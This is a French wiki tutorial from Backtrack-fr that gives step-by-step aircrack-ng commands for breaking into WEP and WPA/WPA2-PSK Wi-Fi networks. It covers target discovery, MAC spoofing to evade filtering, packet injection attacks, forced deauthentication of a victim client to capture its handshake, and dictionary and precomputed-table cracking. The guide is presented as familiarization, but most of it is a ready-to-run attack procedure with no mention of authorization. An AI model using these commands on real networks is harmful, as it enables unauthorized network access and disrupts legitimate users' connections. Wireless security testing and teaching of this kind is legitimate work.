Casser une clé wep/wpa avec la suite Aircrack-ng

Sommaire

1 Introduction
1.1 Lexique
2 Présentation des outils nécessaires
2.1 Airmon-ng
2.2 Airodump-ng
2.3 Aireplay-ng
2.4 airolib-ng
2.5 packetforge-ng
2.6 Aircrack-ng
3 Configurer sa carte en mode monitoring
4 Trouver des réseaux
5 Changer son adresse MAC
5.1 ifconfig
5.2 ip
5.3 macchanger
6 Injection de paquets
6.1 WEP
6.1.1 Authentification
6.1.2 Attaque par requête ARP
6.1.3 Attaque Chopchop
6.1.4 Attaque par Fragmentation
6.1.5 PacketForge-ng
6.1.6 Script ChopChop/Fragmentation/ PacketForge
6.2 WPA/WPA2
6.2.1 Attaque par déauthentification
7 Casser la clé WEP/WPA
7.1 Cas du chiffrement WEP
7.2 Cas du chiffrement WPA/WPA2
7.2.1 Utiliser un dictionnaire
7.2.2 Utiliser les tables de hachage WPA

Introduction

Ce tutoriel met en avant un cas simple de crack de clé WEP/WPA-PSK. Le but est de vous familiariser avec les faiblesses du réseau WIFI. Il nécessite une carte 802.11b/g avec les drivers préalablement patchés pour l'injection.

Lexique

AP (Access Point) : Un point d'accès est un récepteur réseau (ici sans fil), permettant de relier un client sans fil, à un réseau. Le réseau est dans notre cas souvent connecté à internet.
internet **ESSID** : Le nom réseau utilisé par le point d'accès.
NUMERICABLE **BSSID** : L'adresse mac utilisée par le point d'accès.
802 1X **STATION** : Client connecté à l'AP.
IV : Vecteur d'initialisation. Il s'agit en réalité d'une mauvaise implémentation du chiffrement RC4 dans le protocole WEP qui laisse en clair des données sensibles. Cette vulnérabilité peut être exploitée lorsqu'un certain nombre d'informations est récolté.
ARP : Protocole servant à trouver les adresses IP associées aux adresses MAC des cartes réseaux.
MAC (Media Access Control) : Identifiant physique de 6 octets stocké dans une carte réseau. Peut être changé par soft.

Présentation des outils nécessaires

Airmon-ng

Mettre en mode monitoring votre carte réseau sans fil. Inutile ici puisque airodump-ng le fait automatiquement (à la condition que votre carte supporte le mode !)

Airodump-ng

On pourra rechercher des réseaux sans fil grâce à airodump-ng, il permet également de capturer les flux de ces réseaux, indispensables pour trouver la clé.

Aireplay-ng

Ce programme servira à générer des paquets qui augmenteront le trafic de l'AP(Access Point). Souvent indispensable pour mettre à nu une clé WEP.

airolib-ng

Gestionnaire d'essid et de table de hash, ceci optimise de manière considérable le bruteforce lui faisant gagner un temps précieux.

packetforge-ng

Cet outil, nous aidera à mettre en place une requête (ARP dans notre cas, mais d'autres protocoles sont disponibles). En couplant l'attaque chopchop d'aireplay et ce programme, nous pourrons réinjecter des paquets qui augmenterons de façon précise le trafic.

Aircrack-ng

Aircrack-ng, implémente l'attaque **FMS** (et d'autres plus poussé comme KoreK). Il peut casser les clés Wep/Wpa-psk.

Configurer sa carte en mode monitoring

Si votre carte n'apparait pas dans airmon-ng, alors jetez un oeil sur notre page dédiée à la configuration de l'interfaçe réseau.

```
airmon-ng
```

Une fois votre carte réseau sans fil affichée, activez son mode monitoring en tapant :

```
airmon-ng start ma_carte_wlan
```

ma_carte_wlan est votre interfaçe réseau sans fil (ex : rausb0, ra0, wifi0)

Trouver des réseaux

Dans un premier temps, on fait un état des lieux des réseaux alentours.

```
airodump-ng ma_carte_wlan
```

Dès que le réseau est identifié, nous relançons airodump, en lui précisant exactement le réseau sur lequel il va écouter :

```
airodump-ng -w datafile -d BSSID ma_carte_wlan --channel numéro_de_canal
```

-w datafile écrit dans le fichier *datafile*. Souvenez vous bien de ce fichier important.
-d BSSID focalise la recherche uniquement sur le bssid donné.
–channel numéro_de_canal définit un canal spécifique sur lequel écouter.

Une fois votre liste en main, notez les informations importantes :

- ESSID (ou identifiant) de l'AP.
- BSSID (ou adresse mac) de l'AP.
- STATION du client connecté au réseau (Notez son adresse mac!).

Changer son adresse MAC

Cette étape préalable permet de "bypasser" un filtrage mac, effectué par l'AP pour des raisons de sécurité. Néanmoins elle n'est pas souvent appliquée. Plusieurs méthodes sont disponibles, mais l'interface réseau doit être désactivée au préalable avec ifconfig votre_interface down.

ifconfig

```
ifconfig --help
ifconfig [interface] hw ether 01:23:45:67:89
```

ip

```
ip --help
ip link set [interface] address 01:23:45:67:89
```

macchanger

```
macchanger --help
macchanger -m 01:23:45:67:89 [interface]
```

Injection de paquets

Ici, l'étape délicate de notre procédure. Nous allons générer du trafic. Si nous sommes face à un chiffrement WEP, alors nous tenterons d'amplifier le trafic jusqu'à obtention de nos IVs; au contraire pour le WPA, seul un bout de trafic est nécessaire.

WEP

Toutes les attaques suivantes concernent le chiffrement WEP.

Si vous n'avez pas de station connectée, réalisez une attaque par fragmentation.

Authentification

Première étape pour réussir l'injection il faut s'associer sous peine de voir l'ap ignorer nos paquets (vérifier cette étape pour toute question sur les IVs qui n'augmentent pas)

```
aireplay-ng -1 0 -e ESSID -a BSSID -b BSSID -h MAC_CLIENT ma_carte_wlan
```

MAC_CLIENT correspond à l'adresse mac de la station connectée à l'AP (la votre si aucune station n'est connecté!). *Note : Pour toutes les commandes d'aireplay-ng, si vous précisez l'essid alors vous pouvez omettre les options liées au BSSID (-a, -b...)*

Si le message "Association successful :-)" n'apparait pas, c'est que l'AP peut être sensible aux paquets d'aireplay-ng ou que tout simplement l'adresse mac autorisée est déjà connectée.
Testez cependant cette variante, qui est proposée sur le site officiel.

```
aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -h MAC_CLIENT ma_carte_wlan
```

6000 se réauthentifier toutes les 6000 secondes. Une longue période permet l'envoi de paquet gardant active la connection (cf "-q").
-o 1 envoie un seul type de paquet, par défaut l'envoi de multiples paquets peut brouiller l'AP.
-q 10 envoie des paquets pour garder active la connection toutes les 10 secondes.

Attaque par requête ARP

Sans doute l'attaque la plus répandue. Elle met en place des requêtes ARP identiques que celles envoyées par l'AP, et les réinjecte pour forcer l'AP a répondre, et donc à générer du trafic.

```
aireplay-ng -3 -e ESSID -h MAC_CLIENT -r datafile ma_carte_wlan
```

datafile est le fichier qu'on a généré avec airodump-ng. (facultatif si lancé en parallèle)
Note : N'hésitez surtout pas à déauthentifier une station connecté pour récolter des paquets ARP en cas de difficulté

Attaque Chopchop

Cette attaque est une amélioration de l'attaque FMS (développée par KoreK).

```
aireplay-ng -4 -e BSSID -h monMAC ma_carte_wlan
```

monMAC est mon adresse mac.

Acceptez tous les paquets jusqu'à ce que votre fichier *xor* soit généré (cf vidéo).

Attaque par Fragmentation

Il suffira qu'un IV soit transmis par l'AP, pour que l'attaque débute. Interressant si très peu de trafic subsiste(dans le cas où aucun AP n'est connecté). Tout se joue sur les réponses obtenues par l'AP, afin de récolter 1500bytes du PRGA qui seront sauvegardés dans un **keystream** (C'est un jeu de caractères aléatoires, ou pseudo-aléatoires combiné à un message texte en clair pour produire un message chiffré). Nous devrons ensuite réutiliser ce PRGA avec packetforge-ng.

```
aireplay-ng -5 -e ESSID ma_carte_wlan
```

PacketForge-ng

Script ChopChop/Fragmentation/ PacketForge

Vous trouverez sur le forum, un script pour utiliser rapidemment les attaques d'injection ChopChop et Fragmentation.
http://forum.backtrack-fr.net/viewtopic.php?pid=1552#p1552

WPA/WPA2

L'attaque qui suit concerne les réseaux sans fil, chiffrés par le WPA/WPA2. Le but ici est de bruteforcer le chiffrement après une déauthentification de la station, qui sera obligée de réentamer une authentification. Importante puisqu'une *4Way handshake* (Premières étapes d'initialisation de la PSK) se réalise. Si la "passphrase" est plus grande que 8 caractères, celà deviendra très difficile de réussir le bruteforce. Ainsi, pour sécuriser son réseau wifi, une sécurité WPA et une passphrase de 63caractères divers sera largement à la hauteur de vos voisins.

Attaque par déauthentification

Cette attaque envoie des paquets de déauthentification au point d'accès en se faisant passer pour la station victime. Ce qui va obliger la station à se reconnecter.

```
aireplay-ng -0 5 -a BSSID -c MAC_CLIENT ma_carte_wlan
```

Casser la clé WEP/WPA

Cas du chiffrement WEP

Il faut simplement mettre le fichier ivs(généré avec airodump-ng) en argument à aircrack-ng.

```
aircrack-ng dump-file.ivs
```

Note : Les options pour optimiser le cassage de la clé (comme l'attaque ptw...etc) sont inclus par défaut.

Cas du chiffrement WPA/WPA2

Utiliser un dictionnaire

Pour cette attaque, le dictionnaire et le handshake(contenu dans le fichier de capture d'airodump-ng) sont indispensables :

```
aircrack-ng -w mon_dictionnaire handshake.cap
```

Utiliser les tables de hachage WPA

Les tables de hash WPA calculent le **PMK(Pairwise-MasterKey)** utilisé lors de l'authentification. Pour calculer le PMK, on utilise l'essid, sa taille, et la passphrase.
C'est exactement ce qui se passe dans les tables de hachage("hash" en anglais), elles vont générer un PMK pour chaque mot du dictionnaire, ceci en se basant sur le essid(C'est donc le **salt** du hash). Donc pour chaque essid, on dispose d'un PMK unique.
Ces tables pré-calculés, sont interressantes dans la mesure où nous avons affaires à des essids identiques (Ce qui n'est pas le cas dans les pays comme que la France, la Belgique...Où l'essid est souvent composé du FAI et une identification "qui a l'air aléatoire"). Néanmoins si vous n'êtes pas concerné par ceci, vous pourrez jeter un oeil au projet **ChurchWifi**, qui propose le téléchargement de tables générés avec les 1000 Essid les plus courants au monde.
Elles peuvent être néanmoins interressantes lorsque vous connaissez l'essid mais que vous ne disposiez pas encore du handshake, ainsi, contrairement à l'attaque classique par dictionnaire vous pourrez les calculer et gagner un temps précieu lors de leurs utilisations. On a donc dans ce cas affaire à une attaque indirecte, où nous reperons une(des) cible(s) et préparons le terrain.
Le point négatif, c'est que cette table préc-calculé sera utilisable uniquement avec les essids utilisés lors de sa création, vous obligeant à répéter ce processus pour tous nouveaux essid...

Soit *essid-list* notre fichier contenant (ligne par ligne) les essid cible. Créons notre base de donnée.

```
airolib-ng wpa-db init
```

wpa-db est le nom de la base de donnée.

Importons nos essid :

```
airolib-ng wpa-db import essid essid-list
```

Importons notre dictionnaire :

```
airolib-ng wpa-db import passwd mon_dictionnaire
```

Attention : Les mots de passe plus petit que 8 ou plus grand que 63 caractères seront considérés comme invalide

Faites un check complet pour corriger toutes erreurs (ca permettra également de réduire la taille) :

```
airolib-ng wpa-db clean all
```

Lancer la création de la table :

```
airoblig-ng wpa-db batch
```

Appuyer simultanément sur Ctrl et 'C' lorsque apparait le message "No free essid found", pour terminer la session.

Et enfin, admirrez la rapidité du cassage :

```
aircrack-ng  -r wpa-db -e ESSID handshake.cap
```

Note : L'option -e est facultative si vous n'avez qu'un essid dans la table wpa.

Dernière modification de cette page le 13 octobre 2011 à 20:52.
Cette page a été consultée 312 211 fois. Politique de confidentialité À propos de Backtrack-fr Avertissements
Powered By MediaWiki